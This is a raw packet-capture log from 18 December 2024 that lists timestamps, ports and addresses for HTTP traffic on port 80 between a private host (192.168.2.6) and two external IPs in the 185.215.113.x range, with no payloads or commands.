Dec 18, 2024 12:00:25.494632959 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.494668007 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.494708061 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.495663881 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.495714903 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.495740891 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.495784044 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.496797085 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.496864080 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.496897936 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.496936083 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.497843981 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.497876883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.497966051 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.498985052 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.499037981 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.499080896 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.499159098 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.500058889 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.500108957 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.500155926 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.500200987 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.501123905 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.501219034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.501271009 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.502475023 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.502532959 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.502568007 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.502580881 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.502593040 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.502603054 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.502636909 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.503405094 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.503544092 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.503597021 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.503698111 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.504542112 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.504610062 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.504858971 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.504924059 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.505613089 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.505739927 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.505748034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.505841970 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.506647110 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.506731987 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.506736040 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.506772995 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.507774115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.507817030 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.507898092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.507898092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.508785009 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.508893013 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.508960009 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.509922981 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.510011911 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.510029078 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.510073900 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.510992050 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.511066914 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.511100054 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.511148930 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.512088060 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.512164116 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.512377024 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.512449026 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.513197899 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.513314962 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.513370991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.514288902 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.514354944 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.514373064 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.514400005 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.515398979 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.515491962 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.515496016 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.515541077 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.516557932 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.516617060 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.516676903 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.517894983 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.517971039 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.518006086 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.518048048 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.519239902 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.519253016 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.519293070 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.519308090 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.520092010 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.520246983 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.520324945 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.521013975 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.521078110 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.521085024 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.521128893 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.522084951 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.522145987 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.522167921 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.522200108 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.523107052 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.523267031 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.523292065 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.523305893 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.524348974 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.524394989 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.524422884 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.524471045 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.525295019 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.525403976 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.525407076 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.525451899 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.529695034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.529758930 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.529814005 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.529827118 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.529839039 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.529870033 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.529903889 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.529984951 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.530038118 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.530214071 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.530281067 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.531220913 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.531285048 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.531399965 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.531447887 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.532418966 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.532514095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.532561064 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.532617092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.533410072 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.533505917 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.533543110 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.533595085 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.534560919 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.534636974 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.534710884 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.534909010 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.535514116 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.535603046 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.579473972 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.579495907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.579608917 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.579729080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.579788923 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.580157995 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.580172062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.580229998 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.580255985 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.580646992 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.580660105 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.580715895 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.580743074 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.580821037 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.580868959 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.581527948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.581541061 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.581602097 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.581671953 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.582165003 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.582361937 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.582372904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.582425117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.582509041 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.582619905 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.583040953 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.583098888 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.583190918 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.583324909 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.583360910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.583406925 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.584044933 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.584055901 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.584119081 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.584141016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.584201097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.584264040 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.584738970 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.584788084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.584930897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.584944963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.584991932 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.585638046 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.585649967 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.585716963 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.585777998 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.585822105 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.586462021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.586509943 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.586644888 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.586658001 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.586702108 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.587394953 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.587412119 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.587469101 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.587558985 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.587593079 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.587651968 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.588213921 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.588226080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.588277102 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.588299990 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.588361025 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.588444948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.588891029 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.588932991 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.589030981 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.589164019 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.589710951 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.589764118 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.589889050 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.589901924 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.589936018 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.589951038 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.590667963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.590740919 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.602664948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.602726936 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.602771997 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.602823019 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.603061914 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.603168011 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.603872061 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.603934050 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.603959084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.603990078 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.604140997 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.604281902 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.604644060 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.604701042 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.604736090 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.604873896 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.605357885 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.605371952 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.605432034 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.605448961 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.606038094 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.606105089 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.606142044 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.606204987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.606473923 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.606522083 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.635397911 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.635474920 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.635502100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.635575056 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.668154955 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.668204069 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.668258905 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.668260098 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.668528080 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.668739080 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.668787003 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.669482946 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.669533014 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.669538021 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.669579983 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.670617104 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.670667887 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.670768023 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.670834064 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.671706915 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.671777010 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.671787024 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.671874046 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.672857046 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.672945023 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.672974110 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.672996998 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.673934937 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.674019098 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.674061060 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.674105883 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.675004005 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.675079107 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.675112963 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.675158978 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.676093102 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.676145077 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.676213980 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.676253080 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.677345991 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.677433968 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.677490950 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.679624081 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.679713964 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.679725885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.679744005 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.679759026 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.679779053 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.679857969 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.680090904 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.680488110 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.680655003 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.680707932 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.682100058 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.682173014 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.682326078 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.682379007 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.682646990 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.682723999 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.682893038 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.682940006 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.683850050 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.683924913 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.684108973 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.684233904 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.684854031 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.684896946 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.684940100 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.684981108 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.686202049 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.686264038 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.686302900 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.686362028 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.687088013 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.687148094 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.687191963 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.687239885 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.688081026 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.688147068 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.688218117 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.688371897 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.689239979 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.689424038 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.689425945 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.689464092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.690310001 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.690360069 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.690454960 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.690498114 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.691422939 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.691479921 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.691502094 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.691541910 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.692492962 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.692539930 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:25.692617893 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:25.692657948 CET	49950	80	192.168.2.6	185.215.113.16
